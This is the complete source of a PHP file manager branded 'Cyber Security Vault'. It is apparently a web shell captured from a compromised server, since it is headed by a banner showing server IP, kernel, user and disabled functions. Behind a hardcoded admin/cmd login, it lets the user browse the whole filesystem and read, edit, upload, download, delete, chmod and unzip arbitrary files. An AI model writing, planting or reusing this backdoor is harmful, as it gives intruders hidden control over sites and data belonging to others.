| Server IP : 146.190.157.162 / Your IP : 216.73.217.6 Web Server : Apache System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64 User : businessweek ( 639) PHP Version : 8.2.10-2ubuntu2.2 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/maica/ |
Upload File : |
<?php
session_start();
// --- Configuration ---
$username = "admin";
$password = "cmd";
$is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
// Standardize paths and resolve target directory smoothly
if (isset($_GET['dir'])) {
$resolved_path = realpath($_GET['dir']);
$current_dir = $resolved_path ? str_replace('\\', '/', $resolved_path) : str_replace('\\', '/', realpath(__DIR__));
} else {
$current_dir = str_replace('\\', '/', realpath(__DIR__));
}
$current_dir = rtrim($current_dir, '/');
if (empty($current_dir)) {
$current_dir = $is_windows ? substr(realpath(__DIR__), 0, 2) : '/';
}
// Generate CSRF token for security
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// --- Authentication ---
if (!isset($_SESSION['authenticated'])) {
if (isset($_POST['username']) && isset($_POST['password']) && $_POST['username'] === $username && hash_equals($password, $_POST['password'])) {
session_regenerate_id(true);
$_SESSION['authenticated'] = true;
header("Location: ?dir=" . urlencode($current_dir));
exit;
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Cyber Security Vault • Sign In</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: #0f172a;
display: flex; justify-content: center; align-items: center;
height: 100vh; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
color: #cbd5e1;
}
.login-box {
background: #1e293b;
border: 1px solid #334155;
border-radius: 12px; padding: 35px;
width: 400px; box-shadow: 0 10px 25px rgba(0, 0, 0, 0.3);
}
.login-header {
text-align: center; margin-bottom: 25px;
border-bottom: 1px solid #334155; padding-bottom: 15px;
}
.login-header h2 { font-size: 1.4rem; color: #38bdf8; text-transform: uppercase; letter-spacing: 1.5px; font-weight: 600; }
.input-field {
margin-bottom: 20px; position: relative;
}
.input-field i {
position: absolute; left: 14px; top: 14px; color: #64748b;
}
.input-field input {
width: 100%; background: #0f172a; border: 1px solid #334155; border-radius: 8px;
color: #f8fafc; padding: 12px 12px 12px 42px; font-size: 0.95rem; outline: none;
transition: border-color 0.2s ease;
}
.input-field input:focus { border-color: #38bdf8; }
.submit-btn {
background: #0284c7; border: none; color: #ffffff; font-weight: 600;
padding: 12px; border-radius: 8px; width: 100%; text-transform: uppercase;
cursor: pointer; transition: all 0.2s ease; letter-spacing: 0.5px;
}
.submit-btn:hover { background: #0369a1; transform: translateY(-1px); }
</style>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
</head>
<body>
<div class="login-box">
<div class="login-header">
<h2><i class="fas fa-shield-halved"></i> Security Vault</h2>
</div>
<form method="post">
<div class="input-field">
<i class="fas fa-user"></i>
<input type="text" name="username" placeholder="Username" required autocomplete="off">
</div>
<div class="input-field">
<i class="fas fa-lock"></i>
<input type="password" name="password" placeholder="Password" required>
</div>
<button type="submit" class="submit-btn">Authorize Access</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
}
// Handle Logout
if (isset($_GET['logout'])) {
session_destroy();
header("Location: ?");
exit;
}
// --- CSRF Verification Helper ---
function verify_csrf() {
$token = $_POST['csrf_token'] ?? $_GET['csrf_token'] ?? '';
if (empty($token) || !hash_equals($_SESSION['csrf_token'], $token)) {
die("CSRF verification failed.");
}
}
// --- Handle File Operations ---
if (isset($_GET['action'])) {
verify_csrf();
$target_path = realpath($_GET['file']);
if ($target_path && file_exists($target_path)) {
if ($_GET['action'] == 'delete') {
if (is_dir($target_path)) {
@rmdir($target_path);
} else {
@unlink($target_path);
}
} elseif ($_GET['action'] == 'download' && is_file($target_path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($target_path).'"');
header('Content-Length: ' . filesize($target_path));
readfile($target_path);
exit;
} elseif ($_GET['action'] == 'unzip' && is_file($target_path)) {
$ext = strtolower(pathinfo($target_path, PATHINFO_EXTENSION));
if ($ext === 'zip' && class_exists('ZipArchive')) {
$zip = new ZipArchive;
if ($zip->open($target_path) === TRUE) {
$zip->extractTo(dirname($target_path));
$zip->close();
}
}
} elseif ($_GET['action'] == 'zip' && is_dir($target_path)) {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive;
$zip_file = $target_path . '.zip';
if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($target_path),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $name => $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($target_path) + 1);
$zip->addFile($filePath, $relativePath);
}
}
$zip->close();
}
}
}
}
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
// Create Folder
if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) {
verify_csrf();
$new_folder = $current_dir . '/' . basename($_POST['folder_name']);
if (!file_exists($new_folder)) {
@mkdir($new_folder, 0755);
}
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
// Create Empty File
if (isset($_POST['create_file']) && !empty($_POST['file_name'])) {
verify_csrf();
$new_file = $current_dir . '/' . basename($_POST['file_name']);
if (!file_exists($new_file)) {
@touch($new_file);
}
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
// Rename Item
if (isset($_POST['rename_item']) && isset($_POST['file_path']) && !empty($_POST['new_name'])) {
verify_csrf();
$target = realpath($_POST['file_path']);
if ($target && file_exists($target)) {
$new_name = basename($_POST['new_name']);
$new_path = dirname($target) . '/' . $new_name;
if (!file_exists($new_path)) {
@rename($target, $new_path);
}
}
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
// Permission Chmod Change
if (isset($_POST['change_perms']) && isset($_POST['file_path'])) {
verify_csrf();
$target = realpath($_POST['file_path']);
if ($target && file_exists($target)) {
$octal_mode = $_POST['perms_octal'] ?? '';
if (preg_match('/^[0-7]{3,4}$/', $octal_mode)) {
@chmod($target, octdec($octal_mode));
}
}
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
// Save Edit
if (isset($_POST['save_edit']) && isset($_POST['file_path'])) {
verify_csrf();
$edit_target = realpath($_POST['file_path']);
if ($edit_target && is_file($edit_target) && is_writable($edit_target)) {
file_put_contents($edit_target, $_POST['content']);
}
header("Location: ?dir=" . urlencode(dirname($edit_target)));
exit;
}
// File Upload
if (isset($_FILES['upload_file'])) {
verify_csrf();
if ($_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
$file_name = basename($_FILES['upload_file']['name']);
$upload_path = $current_dir . '/' . $file_name;
move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_path);
}
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
// --- Helper Functions ---
function format_size($bytes) {
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' B';
}
function get_file_icon($path) {
if (is_dir($path)) return 'fa-folder';
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$icons = [
'jpg' => 'fa-image', 'jpeg' => 'fa-image', 'png' => 'fa-image', 'gif' => 'fa-image',
'pdf' => 'fa-file-pdf', 'zip' => 'fa-file-zipper', 'rar' => 'fa-file-zipper',
'mp4' => 'fa-video', 'mp3' => 'fa-music', 'doc' => 'fa-file-word', 'docx' => 'fa-file-word',
'php' => 'fa-code', 'html' => 'fa-code', 'css' => 'fa-code', 'js' => 'fa-code',
];
return $icons[$ext] ?? 'fa-file';
}
function get_permissions_octal($path) {
$perms = @fileperms($path);
if ($perms === false) return '0000';
return substr(sprintf('%o', $perms), -4);
}
// System Metadata Fetching Engines
$php_version = PHP_VERSION;
$server_software = isset($_SERVER['SERVER_SOFTWARE']) ? explode('/', explode(' ', $_SERVER['SERVER_SOFTWARE'])[0])[0] : 'Web Server';
$free_disk = @disk_free_space($current_dir) ?: 0;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Cyber Security Vault</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: #0f172a;
color: #cbd5e1;
font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;
font-size: 0.95rem;
min-height: 100vh;
}
.container {
max-width: 1350px;
margin: 0 auto;
padding: 2rem;
}
/* Modern Clean Header */
.vault-header {
display: flex;
justify-content: space-between;
align-items: center;
border-bottom: 1px solid #1e293b;
padding-bottom: 1.5rem;
margin-bottom: 2rem;
}
.vault-title {
font-size: 1.8rem;
font-weight: 700;
color: #38bdf8;
text-transform: uppercase;
letter-spacing: 1.5px;
display: flex;
align-items: center;
gap: 0.8rem;
text-shadow: 0 0 15px rgba(56, 189, 248, 0.3);
}
.vault-title i {
color: #0ea5e9;
}
/* Redesigned Dashboard Bar */
.topbar {
background: #1e293b;
border: 1px solid #334155;
padding: 1rem 1.5rem;
display: flex;
justify-content: space-between;
align-items: center;
border-radius: 10px;
margin-bottom: 1.5rem;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.path-section {
display: flex;
align-items: center;
gap: 0.8rem;
overflow: hidden;
}
.path-label {
font-size: 0.8rem;
text-transform: uppercase;
color: #64748b;
font-weight: 700;
white-space: nowrap;
}
.path-breadcrumb {
display: flex;
flex-wrap: wrap;
align-items: center;
font-family: 'Consolas', monospace;
font-size: 1rem;
color: #38bdf8;
}
.path-breadcrumb a {
color: #38bdf8;
text-decoration: none;
font-weight: 500;
padding: 2px 6px;
border-radius: 4px;
transition: all 0.2s ease;
}
.path-breadcrumb a:hover {
background: #0f172a;
color: #7dd3fc;
}
/* System Metadata Statistics */
.system-meta-panel {
display: flex;
align-items: center;
gap: 1rem;
flex-shrink: 0;
}
.meta-badge {
background: #0f172a;
border: 1px solid #334155;
padding: 0.4rem 0.8rem;
border-radius: 6px;
font-family: 'Consolas', monospace;
font-size: 0.85rem;
color: #94a3b8;
display: inline-flex;
align-items: center;
gap: 0.5rem;
}
.meta-badge i {
color: #0ea5e9;
}
/* Toolbar Actions */
.action-grid {
display: flex;
gap: 1rem;
flex-wrap: wrap;
margin-bottom: 1.5rem;
align-items: center;
}
.search-container {
flex: 1;
min-width: 250px;
position: relative;
}
.search-container input {
width: 100%;
background: #1e293b;
border: 1px solid #334155;
color: #f8fafc;
padding: 0.75rem 1rem 0.75rem 2.5rem;
border-radius: 8px;
outline: none;
font-size: 0.9rem;
transition: all 0.2s ease;
}
.search-container input:focus { border-color: #38bdf8; box-shadow: 0 0 0 2px rgba(56, 189, 248, 0.2); }
.search-container i { position: absolute; left: 1rem; top: 0.95rem; color: #64748b; }
/* Modern Buttons */
.btn {
background: #1e293b;
border: 1px solid #334155;
color: #cbd5e1;
padding: 0.75rem 1.25rem;
border-radius: 8px;
cursor: pointer;
text-decoration: none;
display: inline-flex;
align-items: center;
gap: 0.5rem;
font-size: 0.9rem;
font-weight: 500;
transition: all 0.2s ease;
}
.btn:hover { background: #334155; color: #f8fafc; border-color: #475569; }
.btn-success { background: #059669; border: none; color: #ffffff; }
.btn-success:hover { background: #047857; }
.btn-danger { background: rgba(225, 29, 72, 0.15); border: 1px solid rgba(225, 29, 72, 0.3); color: #fb7185; }
.btn-danger:hover { background: #e11d48; color: #ffffff; border-color: #e11d48; }
.btn-icon { padding: 0.6rem 0.75rem; border-radius: 6px; }
/* Perms dynamic button colors */
.btn-perm-writable { color: #34d399; background: rgba(16, 185, 129, 0.1); border-color: rgba(16, 185, 129, 0.25); }
.btn-perm-writable:hover { background: rgba(16, 185, 129, 0.2); color: #10b981; border-color: rgba(16, 185, 129, 0.4); }
.btn-perm-locked { color: #fb7185; background: rgba(225, 29, 72, 0.1); border-color: rgba(225, 29, 72, 0.25); }
.btn-perm-locked:hover { background: rgba(225, 29, 72, 0.2); color: #e11d48; border-color: rgba(225, 29, 72, 0.4); }
.inline-form { display: flex; gap: 0.5rem; }
.inline-form input {
background: #1e293b;
border: 1px solid #334155;
color: white;
padding: 0.6rem 0.8rem;
border-radius: 8px;
font-size: 0.9rem;
outline: none;
transition: border-color 0.2s ease;
}
.inline-form input:focus { border-color: #38bdf8; }
/* Elegant Table Design */
table {
width: 100%;
border-collapse: separate;
border-spacing: 0;
text-align: left;
background: #1e293b;
border-radius: 10px;
overflow: hidden;
border: 1px solid #334155;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);
}
th {
background: #0f172a;
padding: 1.2rem;
font-weight: 600;
color: #94a3b8;
border-bottom: 1px solid #334155;
font-size: 0.85rem;
text-transform: uppercase;
letter-spacing: 0.5px;
}
td {
padding: 1rem 1.2rem;
border-bottom: 1px solid #334155;
vertical-align: middle;
transition: background 0.2s ease;
}
tr:last-child td { border-bottom: none; }
.file-row:hover td { background: #2dd4bf0a; }
.status-writable td:first-child { border-left: 4px solid #10b981; }
.status-readonly td:first-child { border-left: 4px solid #ef4444; }
.row-readonly-text { color: #fca5a5 !important; }
.row-writable-text { color: #f1f5f9; font-weight: 500; }
/* Interactive Link wraps */
.directory-link {
text-decoration: none;
color: inherit;
display: flex;
align-items: center;
width: 100%;
}
.directory-link:hover .row-writable-text {
color: #38bdf8;
}
.file-icon { font-size: 1.2rem; margin-right: 0.8rem; flex-shrink: 0; }
.folder-icon { color: #facc15; }
.generic-file-icon { color: #38bdf8; }
/* Code Editor Style */
.editor-container {
background: #1e293b;
border: 1px solid #334155;
border-radius: 10px;
padding: 1.5rem;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.code-textarea {
width: 100%;
background: #0f172a;
border: 1px solid #334155;
border-radius: 8px;
padding: 1.2rem;
color: #a7f3d0;
font-family: 'Consolas', monospace;
font-size: 0.95rem;
line-height: 1.5;
margin-bottom: 1rem;
resize: vertical;
outline: none;
}
.code-textarea:focus { border-color: #38bdf8; }
.modal-action { display: none; margin-top: 0.8rem; background: #0f172a; padding: 0.8rem; border-radius: 8px; border: 1px solid #334155; }
.modal-action:target { display: block; animation: fadeIn 0.3s ease; }
@keyframes fadeIn { from { opacity: 0; transform: translateY(-5px); } to { opacity: 1; transform: translateY(0); } }
</style>
</head>
<body>
<div class="container">
<div class="vault-header">
<div class="vault-title">
<i class="fas fa-shield-halved"></i> Cyber Security Vault
</div>
<div class="vault-logout">
<a href="?logout=1" class="btn btn-danger"><i class="fas fa-sign-out-alt"></i> Logout</a>
</div>
</div>
<div class="topbar">
<div class="path-section">
<span class="path-label"><i class="fas fa-folder-open"></i> Directory:</span>
<div class="path-breadcrumb">
<?php
$clean_path = str_replace('\\', '/', $current_dir);
$parts = explode('/', $clean_path);
$path_links = [];
$running_path = '';
if ($is_windows) {
foreach ($parts as $index => $part) {
if ($index === 0) {
$running_path = $part;
$path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>';
} elseif ($part !== '') {
$running_path .= '/' . $part;
$path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>';
}
}
echo implode(' <span style="color: #475569;">/</span> ', $path_links);
} else {
echo '<a href="?dir=' . urlencode('/') . '">/</a>';
foreach ($parts as $part) {
if ($part !== '') {
$running_path .= '/' . $part;
$path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>';
}
}
echo implode(' <span style="color: #475569;">/</span> ', $path_links);
}
if (isset($_GET['edit'])) {
echo ' <span style="color: #475569;">/</span> <span style="color: #f1f5f9; font-weight: 600;">' . htmlspecialchars(basename($_GET['edit']), ENT_QUOTES, 'UTF-8') . '</span>';
}
?>
</div>
</div>
<div class="system-meta-panel">
<div class="meta-badge"><i class="fab fa-php"></i> PHP: <?php echo $php_version; ?></div>
<div class="meta-badge"><i class="fas fa-server"></i> <?php echo htmlspecialchars($server_software); ?></div>
<div class="meta-badge"><i class="fas fa-hdd"></i> Free: <?php echo format_size($free_disk); ?></div>
</div>
</div>
<?php if(isset($_GET['edit'])):
$edit_file = $_GET['edit'];
if (file_exists($edit_file) && is_file($edit_file)):
$writable = is_writable($edit_file);
?>
<div class="editor-container">
<h3 style="margin-bottom: 1rem; font-weight: 600; color: #f8fafc;"><i class="fas fa-code" style="color: #38bdf8; margin-right: 8px;"></i> Edit File: <?php echo htmlspecialchars(basename($edit_file), ENT_QUOTES, 'UTF-8'); ?></h3>
<form method="post">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
<textarea name="content" class="code-textarea" rows="25" spellcheck="false" <?php echo !$writable ? 'disabled' : ''; ?>><?php echo htmlspecialchars(file_get_contents($edit_file), ENT_QUOTES, 'UTF-8'); ?></textarea>
<input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_file, ENT_QUOTES, 'UTF-8'); ?>">
<div style="display: flex; gap: 1rem;">
<?php if($writable): ?>
<button type="submit" name="save_edit" class="btn btn-success"><i class="fas fa-save"></i> Save Changes</button>
<?php else: ?>
<button type="button" class="btn" disabled><i class="fas fa-lock"></i> Read-Only Mode</button>
<?php endif; ?>
<a href="?dir=<?php echo htmlspecialchars(urlencode(dirname($edit_file)), ENT_QUOTES, 'UTF-8'); ?>" class="btn"><i class="fas fa-arrow-left"></i> Go Back</a>
</div>
</form>
</div>
<?php else: header("Location: ?dir=".urlencode($current_dir)); exit; endif; ?>
<?php else: ?>
<div class="action-grid">
<div class="search-container">
<i class="fas fa-search"></i>
<input type="text" id="searchInput" placeholder="Search files or folders...">
</div>
<form method="post" class="inline-form">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
<input type="text" name="folder_name" placeholder="New folder name..." required>
<button type="submit" name="create_folder" class="btn btn-success" title="Create Folder"><i class="fas fa-folder-plus"></i></button>
</form>
<form method="post" class="inline-form">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
<input type="text" name="file_name" placeholder="New file name..." required>
<button type="submit" name="create_file" class="btn btn-success" title="Create File"><i class="fas fa-file-circle-plus"></i></button>
</form>
<a href="?dir=<?php echo htmlspecialchars(urlencode(dirname($current_dir)), ENT_QUOTES, 'UTF-8'); ?>" class="btn"><i class="fas fa-level-up-alt"></i> Up</a>
<button class="btn btn-success" onclick="document.getElementById('fileUpload').click()"><i class="fas fa-cloud-arrow-up"></i> Upload</button>
</div>
<form method="post" enctype="multipart/form-data" id="uploadForm" style="display:none;" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
<input type="file" name="upload_file" id="fileUpload" onchange="document.getElementById('uploadForm').submit();">
</form>
<table>
<thead>
<tr>
<th>Name</th>
<th>Permissions</th>
<th>Size</th>
<th>Last Modified</th>
<th style="text-align: right;">Actions</th>
</tr>
</thead>
<tbody id="file-tbody">
<?php
$items = @scandir($current_dir);
if($items === false) $items = [];
$folders = [];
$files = [];
// Segregate Folders and Files for structural prioritization
foreach($items as $item) {
if($item == '.') continue;
if($item == '..' && $current_dir === dirname($current_dir)) continue;
$path = $current_dir . '/' . $item;
if(is_dir($path)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
// Merge to ensure folders remain on top and files stay below
$ordered_items = array_merge($folders, $files);
foreach($ordered_items as $item):
$path = $current_dir . '/' . $item;
$is_dir = is_dir($path);
$writable = is_writable($path);
$status_class = $writable ? 'status-writable' : 'status-readonly';
$text_class = $writable ? 'row-writable-text' : 'row-readonly-text';
$icon_class = $is_dir ? 'fa-solid fa-folder folder-icon' : get_file_icon($path) . ' generic-file-icon';
$perm_btn_class = $writable ? 'btn-perm-writable' : 'btn-perm-locked';
?>
<tr class="file-row <?php echo $status_class; ?>" data-name="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>">
<td>
<div style="display: flex; align-items: center;">
<?php if($is_dir): ?>
<a href="?dir=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="directory-link">
<i class="<?php echo $icon_class; ?> file-icon"></i>
<span class="<?php echo $text_class; ?>"><?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?></span>
</a>
<?php else: ?>
<i class="<?php echo $icon_class; ?> file-icon"></i>
<span class="<?php echo $text_class; ?>"><?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?></span>
<?php endif; ?>
</div>
<div id="rename-<?php echo md5($item); ?>" class="modal-action">
<form method="post" class="inline-form" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
<input type="hidden" name="file_path" value="<?php echo htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); ?>">
<input type="text" name="new_name" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>" required>
<button type="submit" name="rename_item" class="btn btn-success btn-icon"><i class="fas fa-check"></i></button>
<a href="#" class="btn btn-icon"><i class="fas fa-times"></i></a>
</form>
</div>
<div id="perms-<?php echo md5($item); ?>" class="modal-action">
<form method="post" class="inline-form" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
<input type="hidden" name="file_path" value="<?php echo htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); ?>">
<input type="text" name="perms_octal" placeholder="0755" style="width: 100px;" required>
<button type="submit" name="change_perms" class="btn btn-success btn-icon"><i class="fas fa-check"></i></button>
<a href="#" class="btn btn-icon"><i class="fas fa-times"></i></a>
</form>
</div>
</td>
<td>
<code style="color: #94a3b8; font-family: 'Consolas', monospace; font-size: 0.95rem; font-weight: 500; letter-spacing: 1px;"><?php echo get_permissions_octal($path); ?></code>
</td>
<td style="color: #e2e8f0;"><?php echo $is_dir ? '—' : format_size(@filesize($path)); ?></td>
<td><span style="color: #94a3b8;"><?php echo date("M d, Y H:i", @filemtime($path)); ?></span></td>
<td style="text-align: right;">
<div style="display: flex; gap: 0.4rem; justify-content: flex-end;">
<?php if($is_dir): ?>
<a href="?dir=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Open Folder"><i class="fas fa-folder-open"></i></a>
<a href="?action=zip&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Compress to ZIP"><i class="fas fa-file-zipper"></i></a>
<?php else: ?>
<a href="?edit=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Edit File"><i class="fas fa-pen-to-square"></i></a>
<a href="?action=download&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Download"><i class="fas fa-download"></i></a>
<?php if(strtolower(pathinfo($path, PATHINFO_EXTENSION)) === 'zip'): ?>
<a href="?action=unzip&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Extract ZIP"><i class="fas fa-box-open"></i></a>
<?php endif; ?>
<?php endif; ?>
<a href="#rename-<?php echo md5($item); ?>" class="btn btn-icon" title="Rename Item"><i class="fas fa-i-cursor"></i></a>
<a href="#perms-<?php echo md5($item); ?>" class="btn btn-icon <?php echo $perm_btn_class; ?>" title="Change Permissions (Status: <?php echo $writable ? 'Writable' : 'Locked'; ?>)"><i class="fas fa-key"></i></a>
<a href="?action=delete&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon btn-danger" title="Delete Forever" onclick="return confirm('Are you sure you want to permanently delete this?');"><i class="fas fa-trash-can"></i></a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
<script>
document.getElementById('searchInput').addEventListener('input', function() {
const filter = this.value.toLowerCase();
const rows = document.querySelectorAll('#file-tbody .file-row');
rows.forEach(row => {
const name = row.getAttribute('data-name').toLowerCase();
if (name.includes(filter)) {
row.style.display = '';
} else {
row.style.display = 'none';
}
});
});
</script>
</body>
</html>